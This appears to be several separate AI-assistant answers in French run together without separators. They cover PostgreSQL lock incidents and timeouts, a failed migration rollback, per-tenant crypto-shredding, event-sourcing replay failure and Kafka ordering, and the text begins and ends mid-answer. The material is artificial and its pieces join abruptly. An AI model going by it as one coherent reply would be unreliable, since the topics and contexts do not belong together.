Ces éléments relèvent du comportement documenté de PostgreSQL (niveaux de verrous, durée de vie des verrous de table, paramètres de timeout). **Précision d'honnêteté : l'encyclopédie locale LANXAS ne contient aucun article sur ce sujet, la recherche que j'ai lancée n'a rien retourné. Ce qui suit s'appuie donc sur ma connaissance de la documentation PostgreSQL, pas sur une source que je peux vous citer localement, et doit être recontrôlé sur la documentation de votre version majeure exacte, en particulier pour la disponibilité des paramètres.**
## 2. Action immédiate
Ordre impératif : **prouver, autoriser, puis agir**. Ne terminez rien avant d'avoir capturé l'état, il disparaît avec la session.
Étape A, capture de l'état (lecture seule, aucun effet de bord) :
```sql
-- A1. Qui attend, qui bloque
SELECT a.pid,
a.state,
a.wait_event_type,
a.wait_event,
now() - a.xact_start AS xact_age,
now() - a.state_change AS state_age,
a.backend_xid,
a.backend_xmin,
a.usename,
a.application_name,
a.client_addr,
left(a.query, 300) AS last_query,
pg_blocking_pids(a.pid) AS blocked_by
FROM pg_stat_activity a
WHERE a.datname = current_database()
ORDER BY xact_age DESC NULLS LAST;
-- A2. Le détail des verrous sur la relation concernée
SELECT l.pid, l.locktype, l.mode, l.granted,
l.relation::regclass AS relname
FROM pg_locks l
WHERE l.locktype = 'relation'
ORDER BY relname, l.granted DESC, l.pid;
```
Je n'ai exécuté aucune de ces requêtes, je n'ai pas d'accès à votre instance. Elles sont fournies pour que vous les exécutiez.
Étape B, décision. `pg_cancel_backend()` est **inopérant** ici : il annule l'instruction en cours, or une session `idle in transaction` n'exécute rien. Seul `pg_terminate_backend()` clôt la session et déclenche le `ROLLBACK` qui libère le verrou.
Étape C, contrôle avant destruction. `pg_terminate_backend` est une opération destructive au sens du travail non commité : elle **annule le DDL** de cette transaction. Avant de la lancer :
1. Identifiez le propriétaire de la session (`application_name`, `client_addr`, `usename`) et obtenez son accord explicite, ou celui de l'astreinte.
2. Vérifiez si la transaction fait partie d'une migration de schéma. Si oui, le rollback laisse la migration dans un état partiel du point de vue de l'outil de migration : contrôlez la table de suivi des versions, et ne rejouez la migration qu'après avoir constaté l'état réel du schéma, avec un point de restauration disponible.
3. Vérifiez qu'aucune sauvegarde logique ou opération de maintenance légitime n'est en cours sur cette session.
Étape D, exécution ciblée (un PID précis, jamais un terminate massif) :
```sql
SELECT pg_terminate_backend(:blocker_pid);
```
Étape E, vérification post-action : rejouez A1 et A2, contrôlez que la victime est passée de `Lock/relation` à `active`, et que plus aucun `AccessExclusiveLock` non légitime ne subsiste. Si le convoi était long, surveillez le pic de charge au déblocage.
Si le bloqueur est un pool applicatif, terminer le backend traite le symptôme, pas la cause. Le correctif de fond est côté application : transaction close explicitement en `finally`, et `DISCARD ALL` ou équivalent au retour de connexion au pool.
## 3. Timeouts préventifs
À poser par rôle ou par session, pas globalement à l'aveugle. Les valeurs ci-dessous sont des **propositions à calibrer** sur vos SLA, ce ne sont pas des recommandations universelles.
| Paramètre | Rôle | Valeur proposée | Portée conseillée |
|---|---|---|---|
| `lock_timeout` | abandonne l'attente d'un verrou | `3s` (session DDL), `1s` (OLTP) | session de migration + rôle applicatif |
| `statement_timeout` | borne la durée d'une instruction | `30s` à `60s` | rôle applicatif (jamais sur les jobs batch sans exception explicite) |
| `idle_in_transaction_session_timeout` | tue la transaction oubliée, la cause exacte de votre incident | `60s` applicatif, `300s` humain | rôle applicatif et rôle admin |
| `idle_session_timeout` | ferme les connexions dormantes hors transaction | selon pool | prudence avec les pools persistants |
| `log_lock_waits` + `deadlock_timeout` | trace toute attente longue | `on`, `1s` | global (c'est votre source de preuve) |
| `tcp_keepalives_*` | détecte les clients disparus | valeurs par défaut ajustées réseau | global |
Exemple de préambule à imposer à toute migration :
```sql
SET lock_timeout = '3s';
SET statement_timeout = '0'; -- décidé explicitement, pas par oubli
SET idle_in_transaction_session_timeout = '60s';
-- puis DDL, avec réessais espacés en cas d'échec sur lock_timeout
```
Patrons de DDL réduisant la fenêtre d'`AccessExclusiveLock`, à privilégier :
- `CREATE INDEX CONCURRENTLY` / `DROP INDEX CONCURRENTLY`, qui prennent un mode moins restrictif que `AccessExclusiveLock`.
- `ALTER TABLE ... ADD CONSTRAINT ... NOT VALID`, puis `VALIDATE CONSTRAINT` dans une seconde transaction.
- DDL en transactions courtes et séparées, jamais un DDL suivi d'une longue migration de données dans la même transaction.
- `LOCK TABLE ... NOWAIT` en tête de migration pour échouer vite plutôt que former un convoi.
Attention, `lock_timeout` ne protège pas le détenteur du verrou, il protège les demandeurs. Contre votre scénario précis, le paramètre décisif est `idle_in_transaction_session_timeout`.
## 4. Preuve à conserver
Objectif : établir **qui détenait quoi, depuis quand, qui a autorisé la terminaison, et quel en fut l'effet**. Ces données sont volatiles, elles s'effacent avec la session.
À capturer avant l'action :
- Sortie horodatée en UTC des requêtes A1 et A2, exportée en fichier (par exemple CSV via `\copy`), incluant `pid`, `usename`, `application_name`, `client_addr`, `backend_start`, `xact_start`, `state`, `state_change`, `wait_event_type`, `wait_event`, `backend_xid`, `backend_xmin`, `mode`, `granted`, `relation`.
- Le dernier `query` du bloqueur, **relu et expurgé** : il peut contenir des données personnelles ou des littéraux sensibles. Ne journalisez jamais un secret, même haché, présent dans une requête.
- Extrait des journaux du serveur sur la fenêtre de l'incident, avec `log_lock_waits = on` activé : les lignes `process ... still waiting for AccessShareLock on relation ...` constituent la trace serveur indépendante, plus solide qu'un instantané de vue.
- Version exacte du serveur (`SELECT version()`) et valeurs effectives des paramètres de timeout (`SHOW lock_timeout;` etc.), qui documentent pourquoi rien n'a expiré automatiquement.
À capturer pendant et après :
- Identité de l'opérateur, canal et horodatage de l'autorisation de terminaison, PID visé, valeur retournée par `pg_terminate_backend`.
- Rejeu de A1 et A2 après action, comme preuve de résolution.
- État de la table de suivi de migration et du schéma réel après le rollback.
Intégrité de la preuve : concaténez les exports dans un dossier d'incident, calculez une empreinte SHA-256 par fichier, consignez ces empreintes dans le ticket, et conservez une copie **hors de portée de l'opérateur ayant agi**. Précision de rigueur : une concordance d'empreinte n'est pas une preuve mathématique absolue d'identité, des collisions existent nécessairement ; c'est une assurance cryptographique très forte sous les hypothèses de sécurité de SHA-256. Pour un journal chaîné (`h_i = H(R_i, h_{i-1})`), retenez que seule une ancre `h_k` avec $k \ge i$, conservée hors du système, engage cryptographiquement l'enregistrement $R_i$.
## 5. Risques et limites
- `pg_terminate_backend` détruit le travail non commité du bloqueur. Si ce travail était une migration attendue, vous convertissez une indisponibilité en incohérence de schéma potentielle. D'où l'exigence de point de restauration et d'accord préalable.
- Un `idle_in_transaction_session_timeout` trop agressif fera échouer des traitements légitimes à transactions longues (imports, rapports). Calibrez par rôle, testez en préproduction.
- `statement_timeout` global peut casser vos batchs et vos sauvegardes logiques. Ne l'imposez pas au rôle de maintenance.
- Terminer le backend ne corrige pas la fuite applicative ; sans correctif côté pool, l'incident se reproduira.
- Aucune de ces mesures ne peut être qualifiée de « sans risque ». Risque résiduel principal : reproduction sous une autre forme (verrou pris par une requête longue et non par une transaction oisive), que `idle_in_transaction_session_timeout` ne couvre pas et que seuls `lock_timeout` côté demandeurs et `statement_timeout` côté détenteur limitent.
- Je n'ai pas accès à votre instance, votre version majeure ni vos journaux : tout ce qui précède est une méthode et non un constat sur votre système. Les seuils chiffrés sont des propositions, pas des mesures.**Classification** : Incident de migration de base de données avec dépendance applicative non gérée, niveau de gravité élevé (impact opérationnel immédiat).
**Faute de séquence** :
1. **Absence de vérification pré-migration** : La colonne supprimée était encore référencée par la version de rollback de l'application.
2. **Défaut de sauvegarde logique** : Aucun point de restauration récent n'a été créé avant la migration.
3. **Incompatibilité non détectée** : Le contrat entre le schéma de base de données et le code applicatif n'a pas été validé pour le rollback.
**Stratégie corrective immédiate** :
1. **Annulation manuelle de la migration** :
- Recréer la colonne supprimée via SQL :
sql
ALTER TABLE nom_table ADD COLUMN ancienne_colonne type_original [DEFAULT valeur];
- *Hypothèse* : Le type et les contraintes originaux sont connus (sinon, reconstruction via documentation ou audit des logs).
2. **Restauration des données approximatives** :
- Si possible, récupérer des données depuis :
- Sauvegardes physiques antérieures (même anciennes).
- Journaux de transactions (WAL, binlogs) si activés.
- Replay partiel via des exports d'environnements de staging.
3. **Correction du code de rollback** :
- Modifier temporairement la version de rollback pour ignorer la colonne manquante (ex: valeurs par défaut en mémoire).
- *Limite* : Risque d'incohérence métier si la colonne est critique.
**Possibilité de rollback actuel** :
- **Impossible sans intervention** : L'application échouera au démarrage (erreurs SQL type `column not found`).
- **Condition de succès** :
- Recréation de la colonne (étape 1) → permet un rollback applicatif immédiat.
- Sinon, le rollback bloque jusqu'à correction du schéma ou du code.
**Recommandations post-incident** :
1. **Tests de compatibilité** : Valider les migrations contre toutes les versions applicatives déployables.
2. **Sauvegardes logiques** : Exécuter un `pg_dump` ou équivalent avant chaque migration.
3. **Rollbacks automatisés** : Scripts SQL réversibles pour chaque migration (ex: `UP` et `DOWN` dans Flyway/Liquibase).
4. **Monitoring de schéma** : Outils comme `pgwatch3` ou audits diff post-déploiement.
**Risques résiduels** :
- Perte partielle de données si reconstruction manuelle.
- Temps d'indisponibilité prolongé en cas d'échec de recréation de colonne.**Note de sourçage.** Ma recherche dans l'encyclopédie locale LANXAS n'a retourné aucun article sur le chiffrement par enveloppe ni sur l'effacement cryptographique (requêtes « chiffrement par enveloppe gestion de clés DEK KEK » et « crypto-shredding », fr et en : aucun résultat). Ce qui suit est donc un raisonnement d'architecture de sécurité, non une citation : je ne fabrique aucune référence. Les points marqués « hypothèse » dépendent de détails de votre implémentation que je n'ai pas.
---
## 1. Objet à détruire
La réponse dépend de la topologie exacte des clés, et les deux cas ne donnent pas la même force de garantie.
| Topologie | Objet à détruire | Force |
|---|---|---|
| **A. KEK partagée, DEK par tenant** | Le **wrapped DEK blob de T7** (la DEK enveloppée telle que stockée) **et toutes ses copies**, plus tout matériel de clé en clair | Moyenne : quiconque détient une copie du blob **et** un accès à la KEK partagée peut encore déballer |
| **B. KEK dédiée par tenant (clé KMS `tenant/T7`)** | La **clé KMS de T7 elle-même** (toutes ses versions), via l'opération de destruction du KMS, en plus du blob | Forte : le blob enveloppé devient un déchet même s'il subsiste une copie |
**Recommandation : viser le cas B.** Si votre modèle est aujourd'hui en A, l'effacement cryptographique de T7 n'est réellement solide que si vous pouvez garantir l'élimination exhaustive du blob enveloppé, ce qui est difficile à prouver dès qu'il existe des sauvegardes immuables. Une KEK par tenant déplace la garantie vers le KMS, où la destruction est un événement unique, journalisé et auditable.
Liste des copies à traiter (inventaire à faire avant toute destruction) :
- l'enregistrement du blob enveloppé dans le magasin de métadonnées (table de clés) ;
- ses **réplicas** (réplication synchrone/asynchrone, standby, multi-région) ;
- les **sauvegardes et snapshots** du magasin de métadonnées, y compris WAL/journaux de transactions et archives PITR ;
- les **caches de DEK en clair** : mémoire des processus applicatifs, sidecars de déchiffrement, pools de connexions, caches de session, éventuels caches Redis ;
- les **exports** techniques (dumps de debug, tickets de support, artefacts CI) ;
- les **grants / autorisations KMS** rattachés à T7, à révoquer d'abord ;
- tout **échappement de clé** hors chemin nominal : variables d'environnement, logs (une clé ne doit jamais y figurer, même hachée), coffre secondaire.
## 2. Ciphertext
**On n'y touche pas, et c'est précisément l'intérêt du procédé.**
Le ciphertext de T7 reste en place, à l'octet près, dans le stockage objet, les bases, les réplicas, les sauvegardes et les archives immuables (WORM, Object Lock), y compris là où la suppression physique est techniquement impossible ou coûteuse. Il devient un bloc d'octets sans structure exploitable.
Formulation rigoureuse de la garantie, à ne pas surévaluer : sous les hypothèses de sécurité du schéma AEAD employé, par exemple $\mathrm{AES}\text{-}256\text{-}\mathrm{GCM}$, et en l'absence de toute copie de la clé, le ciphertext n'est pas déchiffrable par un adversaire calculatoirement borné. Ce n'est **pas** un effacement physique de l'information et **pas** une impossibilité mathématique absolue : c'est une **inaccessibilité conditionnelle**, valable tant que tiennent (a) les hypothèses cryptographiques, (b) l'exhaustivité de la destruction des clés.
Ce qui reste lisible malgré tout, et qu'il faut traiter séparément : les **métadonnées non chiffrées** attachées au ciphertext, à savoir noms d'objets, chemins, tailles, empreintes, horodatages, identifiants de tenant, taille et nombre d'enregistrements. Ces éléments peuvent suffire à des inférences. Le chiffrement par enveloppe ne les couvre pas s'ils sont stockés en clair.
## 3. Effet sur T7
Effets certains :
- **Perte définitive et irréversible** de la capacité de déchiffrer toutes les données de T7 protégées par cette DEK ;
- **restauration de sauvegarde inopérante** : restaurer un snapshot antérieur ne redonne pas l'accès, puisque la clé, et non la donnée, a disparu. C'est l'avantage central sur la suppression ligne à ligne, qui laisse des résidus dans les sauvegardes ;
- **arrêt de service immédiat** pour T7 : toute lecture chiffrée échoue. À traiter comme une opération destructive, donc avec accord explicite, fenêtre annoncée et point de non-retour documenté.
Effets **non** obtenus, et c'est ici que la plupart des effacements cryptographiques échouent en pratique. Tout ce qui a été dérivé des données de T7 **sans être chiffré par cette DEK** survit intact :
- index de recherche (moteur plein texte) contenant des tokens ou des extraits en clair ;
- **index secondaires ou colonnes en clair** conservées pour jointure, tri ou filtrage ;
- **chiffrement déterministe / recherchable** dont les jetons révèlent l'égalité des valeurs ;
- caches applicatifs, files de messages, journaux applicatifs et d'audit, traces APM ;
- vignettes, aperçus, PDF rendus, exports CSV, pièces jointes d'e-mails sortants ;
- copies analytiques : entrepôt de données, lac de données, tables agrégées, **embeddings vectoriels** ;
- sous-traitants et systèmes tiers ayant reçu une copie en clair.
Conséquence : l'effacement cryptographique n'est une mesure d'effacement défendable, notamment au regard d'une demande d'effacement RGPD, que s'il est **accompagné** d'une purge de ces dérivés. Je ne peux pas vous dire lesquels existent dans votre système sans en inspecter l'inventaire ; c'est le premier livrable à produire. Sur la qualification juridique exacte de l'effacement cryptographique comme « effacement » au sens du RGPD, je ne dispose pas de source vérifiable ici et je ne vous donnerai pas d'affirmation juridique non étayée : point à faire trancher par votre conseil.
## 4. Effet sur les autres tenants
**Aucun effet, sous conditions d'isolation strictes.** L'absence d'impact n'est pas automatique, elle se démontre. Conditions nécessaires :
1. **Aucune DEK partagée** : la DEK de T7 ne chiffre que des données de T7. À vérifier, pas à supposer.
2. **Pas de KEK détruite si elle est partagée** : en topologie A, détruire la KEK effondrerait tous les tenants. En topologie B, la destruction est confinée à la clé `tenant/T7`.
3. **Pas de déduplication inter-tenant avec chiffrement convergent** : si des blocs identiques sont partagés entre tenants et chiffrés par une clé dérivée du contenu, alors la clé n'est pas réellement propre au tenant, et l'opération est soit inefficace pour T7, soit destructrice pour autrui. C'est le piège structurel le plus fréquent.
4. **Pas de dérivation de clés à racine commune sans séparation** : si $\mathrm{DEK}_i = \mathrm{KDF}(\text{master}, i)$, détruire l'entrée de T7 n'a d'effet que si la racine `master` n'est pas conservée ailleurs ; sinon la DEK de T7 est **recalculable**, et l'effacement est illusoire.
5. **Pas de sauvegarde agrégée mono-clé** : une sauvegarde multi-tenants chiffrée par une clé unique n'est pas effaçable par tenant.
6. **Caches et pools partagés** : l'invalidation doit être ciblée sur T7 et ne pas vider les clés d'autres tenants (impact de disponibilité, non de confidentialité).
Risque résiduel pour les autres tenants, à nommer honnêtement : le risque n'est pas cryptographique mais **opérationnel**, à savoir une erreur d'identifiant de tenant, un ciblage large d'une commande de destruction, ou une politique KMS trop permissive. La destruction d'une clé étant irréversible, c'est le risque dominant de l'opération.
---
## Procédure d'exécution recommandée
1. **Geler** : révoquer les grants KMS et les accès de T7, mettre l'espace en lecture bloquée. Étape réversible.
2. **Inventorier** : recenser toutes les copies du blob enveloppé et tous les dérivés en clair (section 3). Livrable écrit, validé.
3. **Point de restauration** : sauvegarder l'état de la table de clés hors du périmètre à détruire, sous scellé, avec date de purge planifiée. Cela préserve la réversibilité pendant la fenêtre de sécurité.
4. **Autorisation** : accord explicite, tracé, du responsable habilité. Double contrôle humain, quatre yeux, sur l'identifiant `T7`.
5. **Purger les dérivés** : index, caches, entrepôt, embeddings, exports.
6. **Détruire** : opération KMS de destruction de la clé `tenant/T7`, puis suppression du blob enveloppé et de ses réplicas. Exploiter la période d'attente offerte par la plupart des KMS comme dernier verrou.
7. **Purger le point de restauration** de l'étape 3 à l'échéance prévue.
## Vérification
- **Test négatif ciblé** : tenter le déchiffrement d'un ciphertext témoin de T7. Il doit échouer par erreur de clé, jamais par erreur de permission, qui ne prouverait rien. Une erreur `AccessDenied` **n'établit pas** que la clé est détruite.
- **Test de non-régression** : déchiffrement nominal réussi pour un échantillon de chaque autre tenant.
- **Test de restauration** : restaurer une sauvegarde antérieure de T7 dans un bac à sable et vérifier que le déchiffrement échoue toujours. C'est la vérification qui distingue un vrai effacement cryptographique d'une simple suppression logique.
- **Preuve d'audit** : conserver l'enregistrement KMS de destruction (identifiant de clé, versions, horodatage, opérateur). Si vous journalisez en chaînage $h_i = H(R_i, h_{i-1})$, l'ancre externe attestant l'enregistrement de destruction $R_i$ doit être un condensat $h_k$ avec $k \geq i$, conservé hors de portée de l'opérateur ; une ancre antérieure $h_j$, $j < i$, ne détecterait pas une falsification ultérieure.
- **Portée de la preuve** : une concordance d'empreinte constitue une assurance cryptographique très forte sous les hypothèses de sécurité de la fonction de hachage, non une preuve mathématique absolue.
## Risques et limites
- **Irréversibilité** : après l'étape 7, aucune récupération n'est possible, y compris en cas d'erreur de ciblage ou d'obligation légale de conservation apparue après coup. Vérifiez l'absence de rétention légale opposable avant de détruire.
- **« Harvest now, decrypt later »** : un ciphertext exfiltré avant l'opération reste exposé à des progrès cryptanalytiques futurs. Contre $\mathrm{AES}\text{-}256$, l'algorithme de Grover ramène théoriquement le coût de recherche exhaustive vers l'ordre de $2^{128}$ opérations quantiques, ce qui reste hors de portée pratique connue ; je signale ce point comme considération de conception, sans prétendre à une source vérifiée ici.
- **Copie de clé oubliée** : une seule copie survivante du matériel de clé annule la garantie. C'est le mode de défaillance principal.
- **Métadonnées et dérivés en clair** : traités séparément, sinon l'effacement est incomplet en substance même s'il est correct en cryptographie.
- **Ce que je ne peux pas affirmer** : sans accès à votre schéma de clés, à votre configuration KMS et à votre inventaire de dérivés, je ne peux pas confirmer que votre système remplit les six conditions d'isolation de la section 4. Les vérifier est un prérequis, non une formalité.## 1. Dernier état certain
**Version 922** (état obtenu après application de `snapshot@900` puis des événements 901 à 922 inclus).
Justification : le replay d'un agrégat event-sourced est **strictement séquentiel et ordonné**. Un échec sur l'événement $n = 923$ signifie que l'état $S_{923}$ n'est pas calculable, donc aucun $S_k$ avec $k \geq 923$ n'est calculable non plus. La borne haute certaine est donc :
$$S_{\text{certain}} = \text{apply}\big(\text{snapshot}_{900},\ e_{901..922}\big) \quad \Rightarrow \quad v = 922$$
Nuance de rigueur importante : cette version 922 n'est certaine que **sous deux hypothèses non encore vérifiées** :
- le snapshot 900 est fidèle à l'état réel à la version 900 ;
- les 22 applications 901 à 922 n'ont produit aucune erreur silencieuse (pas d'exception ≠ pas de corruption).
L'absence d'erreur sur 901 à 922 est une observation finie : elle n'établit pas la correction de ces transitions, elle ne la contredit pas. C'est le point à trancher au diagnostic, pas avant.
## 2. Statut du snapshot
**Présumé valide, non prouvé valide, et non invalidé par l'échec.**
| Question | Réponse rigoureuse |
|---|---|
| L'échec en 923 invalide-t-il le snapshot 900 ? | Non. Aucune implication logique : 923 est postérieur au snapshot. |
| L'échec en 923 prouve-t-il que le snapshot est sain ? | Non non plus. Un snapshot corrompu peut faire échouer une garde d'invariant 23 événements plus loin. |
| Statut opérationnel | **Suspect à écarter par preuve**, pas suspect par défaut. |
Le snapshot est un **cache dérivé**, jamais une source de vérité. La seule source de vérité est le flux d'événements. Donc la preuve de validité s'obtient par une seule voie :
reconstruire l'état à la version 900 depuis l'événement 1 (replay complet, sans snapshot), puis comparer par empreinte canonique à `snapshot@900`.
- **Concordance d'empreinte** : assurance très forte que le snapshot est fidèle, sous les hypothèses de sécurité de la fonction de hachage et sous réserve d'une sérialisation canonique déterministe. Ce n'est pas une preuve mathématique absolue d'identité, des collisions existent nécessairement.
- **Discordance** : le snapshot est corrompu, il doit être invalidé et régénéré, et l'échec en 923 en est probablement un symptôme et non la cause.
## 3. Action sur le flux
Dans l'ordre, sans étape sautée.
**a) Geler l'agrégat.** Refus des commandes en écriture sur cet identifiant d'agrégat uniquement, en `fail closed` (rejet par défaut, code 409/503 selon le contrat). Portée minimale : n'arrêtez pas le service entier si le défaut est mono-agrégat.
**b) Ne rien modifier.** Le flux est **append-only immuable**. Aucune suppression, aucune réécriture, aucun `UPDATE` sur 923, aucune purge de 924 à 950. La zone 923 à 950 est mise en quarantaine logique, pas physique.
**c) Point de restauration avant toute manipulation.** Sauvegarde restaurable du flux et du snapshot, empreinte relevée, avant tout test. Aucune opération destructive sans (1) sauvegarde vérifiée, (2) accord explicite de l'opérateur, (3) chemin de rollback documenté.
**d) Isoler la cause en environnement de rejeu séparé** (copie en lecture seule, pas la production) :
1. replay complet 1 à 900, comparaison au snapshot ;
2. replay 901 à 922, capture de l'état ;
3. application de 923 seul sur cet état, capture de la trace complète.
**e) Classer le défaut**, car le correctif dépend entièrement de la classe :
| Classe | Signature typique | Correctif légitime |
|---|---|---|
| Schéma / désérialisation | erreur de type, champ absent, version d'événement inconnue | **upcaster** de version, le flux reste intact |
| Bug de handler | exception dans la fonction d'application | correction du code, replay reproductible à l'identique |
| Violation d'invariant métier | garde métier rejetée | **événement compensatoire** appendé en fin de flux |
| Corruption de données au repos | empreinte de l'événement ou du bloc non concordante | restauration depuis sauvegarde ou réplique, jamais réécriture manuelle |
| Non-déterminisme du handler | horloge, aléa, appel externe dans la projection | suppression de l'effet de bord, le replay doit être une fonction pure |
**f) Ne reprendre le replay 923 à 950 qu'après correctif**, puis rejouer intégralement depuis 901, sans reprise partielle, et ne publier le nouveau snapshot qu'après atteinte vérifiée de la version 950.
**g) Journaliser l'incident** hors du flux métier, avec versions, empreintes et horodatages, sans y écrire de donnée sensible en clair.
## 4. Interdictions
**Interdiction principale, absolue : sauter l'événement 923 pour poursuivre sur 924 à 950.**
Le motif est structurel, pas prudentiel. L'état est défini par une composition de fonctions dans un ordre imposé :
$$S_{950} = f_{950} \circ f_{949} \circ \dots \circ f_{924} \circ f_{923} \circ \dots \circ f_{901}\big(S_{900}\big)$$
Retirer $f_{923}$ ne produit pas $S_{950}$ dégradé : cela produit l'état d'un **autre agrégat**, celui d'une histoire qui n'a jamais eu lieu. L'écart est de plus silencieux et cumulatif, puisque les 27 événements suivants s'appliquent sans erreur apparente sur une base fausse. On obtient une divergence non détectable par le replay lui-même, ce qui est pire que l'échec franc actuel.
Interdictions dérivées, toutes de même nature :
- **Interdit d'écrire un snapshot à la version 922** ni à aucune version issue d'un replay incomplet ou d'un replay avec saut. Cela fossiliserait l'état faux et détruirait la seule preuve de l'anomalie.
- **Interdit de servir l'état 922 comme état courant** à un client, une API ou une projection, sans le marquer explicitement `stale` / `degraded` avec sa version. Un état partiel présenté comme courant est une fausse assertion sur la réalité.
- **Interdit de supprimer, tronquer, éditer ou réordonner un événement**, y compris 923. `DROP`, `TRUNCATE`, `DELETE`, réécriture d'offset : proscrits.
- **Interdit de « réparer » 923 en modifiant sa charge utile.** La correction d'une histoire immuable se fait par **événement compensatoire appendé**, jamais par altération du passé.
- **Interdit d'accepter de nouvelles commandes** sur l'agrégat pendant l'incident : elles seraient validées contre un état invalide, propageant l'incohérence dans le flux lui-même.
- **Interdit de conclure la remédiation sur un test unique.** Un replay réussi une fois n'établit pas la correction ; exigez un replay reproductible, déterministe et une vérification d'invariants sur l'état final.
## Réserve de source
L'encyclopédie locale hors ligne dont je dispose ne contient pas d'article sur l'event sourcing, le pattern snapshot ou le rejeu d'agrégat : mes recherches n'ont retourné aucun résultat pertinent. Cette réponse n'est donc **pas sourcée sur une référence documentaire**. Elle est un raisonnement déductif sur les propriétés du modèle, à savoir ordre total des événements, immuabilité du flux, snapshot comme cache dérivé, et composition séquentielle des fonctions d'application. Je ne peux vous citer ni ouvrage ni spécification à l'appui, et je ne vais pas en inventer.
Les classes de défaut du tableau 3e sont une **grille d'hypothèses de diagnostic**, pas un constat : rien dans l'énoncé n'indique la nature réelle de l'échec de 923. Départager ces classes exige la trace d'exception, le schéma de l'événement 923, sa version de sérialisation et le code du handler, éléments dont je ne dispose pas.## 1. Diagnostic : la relation en jeu
Les deux publications sont issues du **même processus** (service A), dans l'ordre `OrderCreated` puis `PaymentRequested`. Il existe donc entre elles une relation de **causalité « arrivé-avant » (happened-before, $\to$) au sens de Lamport (1978)** :
$$e_1 = \text{OrderCreated} \;\to\; e_2 = \text{PaymentRequested}$$
Cette relation est définie précisément par le premier cas de l'axiomatique de Lamport : « si les événements $a$ et $b$ surviennent dans le même processus, $a \to b$ si l'occurrence de $a$ précède celle de $b$ » ; c'est un **ordre partiel** irréflexif, asymétrique et transitif (Wikipédia FR, article « Arrivé-avant »).
C'est un point important : $e_1 \to e_2$ n'est pas une simple préférence métier, c'est une **dépendance causale**. `PaymentRequested` n'a de sens que dans le contexte d'état créé par `OrderCreated`. Le consommateur qui reçoit $e_2$ d'abord observe un état **causalement incohérent** (il voit l'effet avant la cause).
## 2. Garantie manquante
La garantie absente est l'**ordre causal (ou ordre FIFO/producteur) au-delà de la frontière d'une partition**.
Kafka est « un système de messagerie distribué basé sur le log qui **garantit l'ordre à l'intérieur des partitions individuelles, et non à l'échelle du topic entier** » (Wikipédia EN, article « Apache Kafka »). L'unité d'ordre total est donc la partition, jamais le topic ni le cluster.
Formulation rigoureuse de ce qui manque :
| Garantie | Fournie par Kafka | Votre besoin |
|---|---|---|
| Ordre total par partition (offsets croissants) | Oui (Wikipédia EN, « Apache Kafka ») | Insuffisant seul |
| Ordre inter-partitions / inter-topics | **Non** | **Requis** |
| Livraison causale (causal delivery : si $e_1 \to e_2$, alors $e_1$ est délivré avant $e_2$) | Non | **Requis** |
| Idempotence côté consommateur | Non (responsabilité applicative) | Requise |
Vous demandez donc une **diffusion causalement ordonnée** (causal order broadcast) à un middleware qui ne fournit qu'un ordre **par partition**. Le défaut est architectural, pas conjoncturel : même sans incident, l'inversion se produira statistiquement (lag de réplication, retry producteur, latence de leader différente par partition).
Point de rigueur : un ordre observé correct sur $N$ exécutions de test ne prouve **jamais** la propriété universelle « les messages arrivent toujours dans l'ordre ». Seul un invariant structurel (co-partitionnement, ou réordonnancement explicite) l'établit.
## 3. Clé de partition recommandée
**Clé = l'identifiant de l'agrégat métier, ici `orderId`** (sérialisé en chaîne stable, sans espace ni casse variable).
```
key = orderId // ex. "ord_7f3a91c2"
value = { eventType, orderId, seq, occurredAt, payload }
```
Justification : tous les événements du cycle de vie d'une même commande partagent la même clé, donc la même partition, donc l'**ordre total est restauré pour cet agrégat**, tout en conservant le parallélisme entre commandes distinctes. C'est le seul niveau de granularité où l'ordre est à la fois nécessaire et suffisant.
Trois conditions impératives, souvent oubliées :
1. **Un seul topic.** Une clé identique ne garantit une partition identique que **dans un même topic**. Si `OrderCreated` et `PaymentRequested` restent sur deux topics distincts, le clésage ne résout rien, car les deux topics ont des partitions, des leaders et des latences indépendants. Publiez les deux événements sur un topic unique de type `order.events` (log par agrégat), le type d'événement devenant un champ de l'enveloppe.
2. **Atomicité de la double écriture.** Deux `send()` successifs ne sont pas atomiques : A peut publier $e_1$ puis tomber. Utilisez une **transaction producteur** (`transactional.id`, `initTransactions/beginTransaction/commitTransaction`) ou, mieux, le patron **outbox transactionnel** (écriture métier + événements dans la même transaction SQL, publication asynchrone par un relais). Sinon vous remplacez un problème d'ordre par un problème d'atomicité.
3. **Numéro de séquence par agrégat.** Ajoutez `seq` monotone croissant par `orderId` dans l'enveloppe. Sans lui, le consommateur ne peut pas **détecter** une inversion résiduelle ; il ne peut que l'espérer absente. Ce champ est ce qui rend l'invariant vérifiable.
Réserve d'honnêteté : la règle « même clé $\Rightarrow$ même partition, par hachage du partitionneur par défaut, à nombre de partitions constant » est le comportement documenté du producteur Kafka, mais l'article de mon encyclopédie locale ne l'énonce pas explicitement ; il n'atteste que la garantie d'ordre intra-partition. À confirmer sur la documentation officielle Kafka de votre version. Notez aussi que **tout repartitionnement** (augmentation du nombre de partitions) casse cette affinité pour les clés existantes : c'est un risque de migration à traiter.
## 4. Solution côté consommateur
Le clésage seul ne suffit pas : il faut un consommateur **défensif**, qui ne suppose jamais l'ordre. Trois mécanismes combinés.
### 4.1 Machine à états explicite avec rejet des transitions illégales
Le consommateur ne « traite » pas des messages, il applique des transitions sur un état persistant. Une transition impossible (paiement sur commande inexistante) n'est pas une erreur fatale : c'est un **message prématuré**.
### 4.2 Tampon de réordonnancement par agrégat (buffer et attente)
Sur détection d'un `seq` supérieur au `seq` attendu, ou d'un état amont absent :
- **persister** le message en attente (table `pending_events`, clé `(orderId, seq)`) ;
- **ne pas** committer aveuglément, ou committer et rejouer depuis la table d'attente à l'arrivée du message manquant ;
- réveiller la reprise dès que le prédécesseur est appliqué.
Alternative sans buffer applicatif, exploitant directement la sémantique Kafka : Kafka « utilise une gestion manuelle des offsets, donnant aux consommateurs le contrôle des retries et du traitement des échecs. Si un consommateur échoue à traiter un message, il peut **retarder le commit de l'offset**, empêchant toute progression sur cette partition, les autres partitions restant inaffectées » (Wikipédia EN, « Apache Kafka »). Concrètement : `pause()` de la partition, `seek()` sur l'offset non traité, retry avec backoff exponentiel, et **timeout borné** au-delà duquel le message part en DLQ avec alerte. Ce mécanisme est correct mais bloquant : un agrégat pathologique gèle toute la partition, donc tous les autres agrégats qui y sont hachés. Le buffer persistant est préférable en production à fort volume ; le `pause/seek` convient aux volumes modérés.
### 4.3 Idempotence stricte
Kafka en `at-least-once` redélivre. Chaque handler doit être idempotent :
- clé d'idempotence `(orderId, eventType, seq)` ou `eventId` en **contrainte d'unicité** en base ; violation de contrainte $\Rightarrow$ doublon $\Rightarrow$ acquittement silencieux ;
